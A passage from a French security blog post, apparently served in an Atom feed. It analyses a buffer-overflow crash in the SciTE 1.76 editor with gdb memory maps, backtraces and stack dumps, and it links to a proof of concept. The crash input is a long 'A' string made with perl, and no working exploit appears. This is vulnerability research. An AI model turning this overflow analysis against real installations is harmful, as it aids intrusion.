0);&quot;&gt;0060f000-00610000 rw-p 00046000 08:01 264320     /usr/lib/libpango-1.0.so.0.2600.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00610000-00687000 r-xp 00000000 08:01 262362     /usr/lib/libcairo.so.2.10800.8&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00687000-00689000 r--p 00076000 08:01 262362     /usr/lib/libcairo.so.2.10800.8&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00689000-0068a000 rw-p 00078000 08:01 262362     /usr/lib/libcairo.so.2.10800.8&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0068a000-006c6000 r-xp 00000000 08:01 263053     /usr/lib/libgobject-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006c6000-006c7000 r--p 0003b000 08:01 263053     /usr/lib/libgobject-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006c7000-006c8000 rw-p 0003c000 08:01 263053     /usr/lib/libgobject-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006c8000-006cb000 r-xp 00000000 08:01 263054     /usr/lib/libgmodule-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006cb000-006cc000 r--p 00002000 08:01 263054     /usr/lib/libgmodule-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006cc000-006cd000 rw-p 00003000 08:01 263054     /usr/lib/libgmodule-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006cd000-006cf000 r-xp 00000000 08:01 268014     /lib/tls/i686/cmov/libdl-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006cf000-006d0000 r--p 00001000 08:01 268014     /lib/tls/i686/cmov/libdl-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006d0000-006d1000 rw-p 00002000 08:01 268014     /lib/tls/i686/cmov/libdl-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006d1000-006d5000 r-xp 00000000 08:01 263055     /usr/lib/libgthread-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006d5000-006d6000 r--p 00003000 08:01 263055     /usr/lib/libgthread-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006d6000-006d7000 rw-p 00004000 08:01 263055     /usr/lib/libgthread-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006d7000-006de000 r-xp 00000000 08:01 268027     /lib/tls/i686/cmov/librt-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006de000-006df000 r--p 00006000 08:01 268027     /lib/tls/i686/cmov/librt-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006df000-006e0000 rw-p 00007000 08:01 268027     /lib/tls/i686/cmov/librt-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;006e0000-00795000 r-xp 00000000 08:01 972        /lib/libglib-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00795000-00796000 r--p 000b4000 08:01 972        /lib/libglib-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00796000-00797000 rw-p 000b5000 08:01 972        /lib/libglib-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00797000-0087d000 r-xp 00000000 08:01 262987     /usr/lib/libstdc++.so.6.0.13&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0087d000-00881000 r--p 000e6000 08:01 262987     /usr/lib/libstdc++.so.6.0.13&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00881000-00882000 rw-p 000ea000 08:01 262987     /usr/lib/libstdc++.so.6.0.13&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00882000-00889000 rw-p 00000000 00:00 0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00889000-008ad000 r-xp 00000000 08:01 268015     /lib/tls/i686/cmov/libm-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008ad000-008ae000 r--p 00023000 08:01 268015     /lib/tls/i686/cmov/libm-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008ae000-008af000 rw-p 00024000 08:01 268015     /lib/tls/i686/cmov/libm-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008af000-008cb000 r-xp 00000000 08:01 546        /lib/libgcc_s.so.1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008cb000-008cc000 r--p 0001b000 08:01 546        /lib/libgcc_s.so.1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008cc000-008cd000 rw-p 0001c000 08:01 546        /lib/libgcc_s.so.1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008cd000-008e2000 r-xp 00000000 08:01 268025     /lib/tls/i686/cmov/libpthread-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008e2000-008e3000 r--p 00014000 08:01 268025     /lib/tls/i686/cmov/libpthread-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008e3000-008e4000 rw-p 00015000 08:01 268025     /lib/tls/i686/cmov/libpthread-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008e4000-008e6000 rw-p 00000000 00:00 0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;008e6000-00a24000 r-xp 00000000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00a24000-00a25000 ---p 0013e000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00a25000-00a27000 r--p 0013e000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00a27000-00a28000 rw-p 00140000 08:01 265728     /lib/tls/i686/cmov/libc-2.10.1.so&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00a28000-00a2b000 rw-p 00000000 00:00 0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00a2b000-00b55000 r-xp 00000000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b55000-00b56000 ---p 0012a000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b56000-00b57000 r--p 0012a000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b57000-00b59000 rw-p 0012b000 08:01 263622     /usr/lib/libX11.so.6.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b59000-00b5a000 rw-p 00000000 00:00 0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b5a000-00b5c000 r-xp 00000000 08:01 263633     /usr/lib/libXcomposite.so.1.0.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b5c000-00b5d000 r--p 00001000 08:01 263633     /usr/lib/libXcomposite.so.1.0.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b5d000-00b5e000 rw-p 00002000 08:01 263633     /usr/lib/libXcomposite.so.1.0.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b5e000-00b60000 r-xp 00000000 08:01 263637     /usr/lib/libXdamage.so.1.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b60000-00b61000 rw-p 00001000 08:01 263637     /usr/lib/libXdamage.so.1.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b61000-00b65000 r-xp 00000000 08:01 263643     /usr/lib/libXfixes.so.3.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b65000-00b66000 r--p 00003000 08:01 263643     /usr/lib/libXfixes.so.3.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b66000-00b67000 rw-p 00004000 08:01 263643     /usr/lib/libXfixes.so.3.1.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00b67000-00bfa000 r-xp 00000000 08:01 263056     /usr/lib/libgio-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00bfa000-00bfb000 r--p 00092000 08:01 263056     /usr/lib/libgio-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00bfb000-00bfc000 rw-p 00093000 08:01 263056     /usr/lib/libgio-2.0.so.0.2200.3&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00bfc000-00bfd000 rw-p 00000000 00:00 0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;00bfd000-00c24000 r-xp 00000000 08:01 264324     /usr/lib/libpangoft2-1.0.so.0.2600.0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Program received signal SIGABRT, Aborted.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0012d422 in __kernel_vsyscall ()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://membres.multimania.fr/profil4/kmkz/Exploits/Capture_audit_scite1.png&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Screen &lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0012d000 // VDSO&lt;/span&gt; &lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;, ça peut etre utile dans le cas de certaines exploitation&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) x/79s $eip&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d422 &lt;&gt;:      &lt;/span&gt;&lt;incomplete sequence=&quot;&quot; 303=&quot;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d424:     &quot;.shstrtab&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d42e:     &quot;.hash&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d434:     &quot;.dynsym&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d43c:     &quot;.dynstr&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d444:     &quot;.gnu.version&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d451:     &quot;.gnu.version_d&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d460:     &quot;.note&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d466:     &quot;.eh_frame_hdr&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d474:     &quot;.eh_frame&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d47e:     &quot;.dynamic&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d487:     &quot;.data&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d48d:     &quot;.text&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x12d493:     &quot;&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Comme on peux le constater , le programme est stoppé brutalement suite a un débordement de tampon ,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;essayons donc d&#39;y voir plus clair :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) i stack&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#0  0x0012d422 in __kernel_vsyscall ()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#1  0x009104d1 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#2  0x00913932 in *__GI_abort () at abort.c:92&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#3  0x00946fc5 in __libc_message (do_abort=2,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   fmt=0xa0881d &quot;*** %s ***: %s terminated\n&quot;)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   at ../sysdeps/unix/sysv/linux/libc_fatal.c:189&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#4  0x009c7008 in *__GI___fortify_fail (msg=0xa087c7 &quot;buffer overflow detected&quot;)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   at fortify_fail.c:32&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#5  0x009c6040 in *__GI___chk_fail () at chk_fail.c:29&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#6  0x009c536a in __strcat_chk (&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   dest=0xbfff4734 &quot;/home/kmkz/0Days/Scite_1.76/&quot;, &#39;A&#39; &lt;/span&gt;&lt;se src=&quot;0x833c1f0&quot; home=&quot;&quot; kmkz=&quot;&quot; 0days=&quot;&quot; 76=&quot;&quot; a=&quot;&quot;&gt;&lt;se destlen=&quot;0)&quot; at=&quot;&quot; 51=&quot;&quot; 7=&quot;&quot; 0x08074043=&quot;&quot; 8=&quot;&quot; 0x08078fc6=&quot;&quot; 9=&quot;&quot; 0x08079349=&quot;&quot; 10=&quot;&quot; 0x08070944=&quot;&quot; 11=&quot;&quot; 0x0805dc32=&quot;&quot; 12=&quot;&quot; 0x0805dd8a=&quot;&quot; 13=&quot;&quot; 0x008fcb56=&quot;&quot; in=&quot;&quot; __libc_start_main=&quot;&quot; main=&quot;0x805dca1,&quot; argc=&quot;2,&quot; ubp_av=&quot;0xbfffb524,&quot; init=&quot;0x8106380,&quot; fini=&quot;0x8106370,&quot; rtld_fini=&quot;0x11dd20&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;_dl_fini&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   stack_end=0xbfffb51c) at libc-start.c:220&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#14 0x08052d41 in ?? ()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) i auxv&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;32   AT_SYSINFO           Special system info/entry points 0x12d420&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;33   AT_SYSINFO_EHDR      System-supplied DSO&#39;s ELF header 0x12d000&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;16   AT_HWCAP             Machine-dependent CPU capability hints 0xbfebf3ff&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;6    AT_PAGESZ            System page size               4096&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;17   AT_CLKTCK            Frequency of times()           100&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;3    AT_PHDR              Program headers for program    0x8048034&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;4    AT_PHENT             Size of program header entry   32&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;5    AT_PHNUM             Number of program headers      9&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;7    AT_BASE              Base address of interpreter    0x110000&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;8    AT_FLAGS             Drapeaux                       0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;9    AT_ENTRY             Entry point of program         0x8052d20&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;11   AT_UID               Real user ID                   1000&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;12   AT_EUID              Effective user ID              1000&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;13   AT_GID               Real group ID                  1000&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;14   AT_EGID              Effective group ID             1000&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;23   AT_SECURE            Boolean, was exec setuid-like? 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 255, 255);&quot;&gt;25   AT_RANDOM            Address of 16 random bytes     0xbfffb66b --&gt; allons voir ce cet offset contient&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;31   AT_EXECFN            File name of executable        0xbfffffed &quot;/usr/bin/scite&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;15   AT_PLATFORM          String identifying platform    0xbfffb67b &quot;i686&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0    AT_NULL              End of vector                  0x0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb) x/48x 0xbfffb66b&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb66b:    0x8a29b215    0x563d86b0    0xe525c77b    0x1a1921ee&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb67b:    0x36383669    0x00000000    0x00000000    0x7273752f&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb68b:    0x6e69622f    0x6963732f    0x41006574    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb69b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb6ab:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb6bb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb6cb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb6db:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb6eb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb6fb:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb70b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbfffb71b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Nos &quot;A&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbffff66b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbffff67b:    0x41414141    0x41414141    0x41414141    0x41414141&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbffff68b:    0x41414141    0x41414141    0x00414141    0x4942524f&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbffff69b:    0x4f535f54    0x54454b43    0x3d524944    0x706d742f&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbffff6ab:    0x62726f2f    0x6b2d7469    0x007a6b6d    0x5f485353&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0xbffff6bb:    0x4e454741    0x49505f54    0x34313d44    0x47003033&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#13 0x008fcb56 in __libc_start_main (main=0x805dca1, argc=2, ubp_av=0xbfffb524,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   init=0x8106380, fini=0x8106370, rtld_fini=0x11dd20 &lt;_dl_fini&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   stack_end=0xbfffb51c) at libc-start.c:220&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Si on look a quelques offsets pret , on s&#39;apperçois que nos \x41 se retrouve bien sur la stack (grace a  stack_end  et la ligne :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;25   AT_RANDOM            Address of 16 random bytes     0xbfffb66b        .....    entre autre )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;  /* Début des \x41 a l&#39;offset de fin de la stack +350 octets (soit 350 octets plus haut , la pile croit vers les adresses basses) */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;On peux  néanmoins déduire qu&#39;il ne s&#39;agit pas d&#39;un cas classique de stack overflow ( et a priori EIP ne peut etre overwrité).&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Une de mes &quot;intuitions&quot; me poussa donc a déposer un breakpoint sur l&#39;offset correspondant au début de la section .dtors puis .ctors :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;la .dtors ne donnant rien ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;breakpoint sur .ctors :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;r&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;The program being debugged has been started already.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Start it from the beginning? (y or n) y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Starting program: /usr/bin/scite `perl -e&#39;print&quot;A&quot;x4096&#39;`&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[Thread debugging using libthread_db enabled]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Program received signal SIGSEGV, Segmentation fault.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;0x0810643b in ?? ()&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;crash a l&#39;appel de la .ctors ??&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;J&#39;avoue que je suis assez perplexe , et que l&#39;exploitation ne sera pas des plus easy , mais d&#39;autres pistes ont germés depuis ces dumps (ret into entre autre) ;-) et puis c&#39;est tout l&#39;intéret aprés tout .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;J&#39;espere que cette petite presentation  de mon PoC concernant Scite  1.76 vous donnera envie de voir la suite (un jour peu etre qui sait ).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.exploit-db.com/exploits/14083/&quot;&gt;Link du PoC &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/se&gt;&lt;/se&gt;&lt;/incomplete&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/2031252747726573377/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/2031252747726573377' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2031252747726573377'/><link 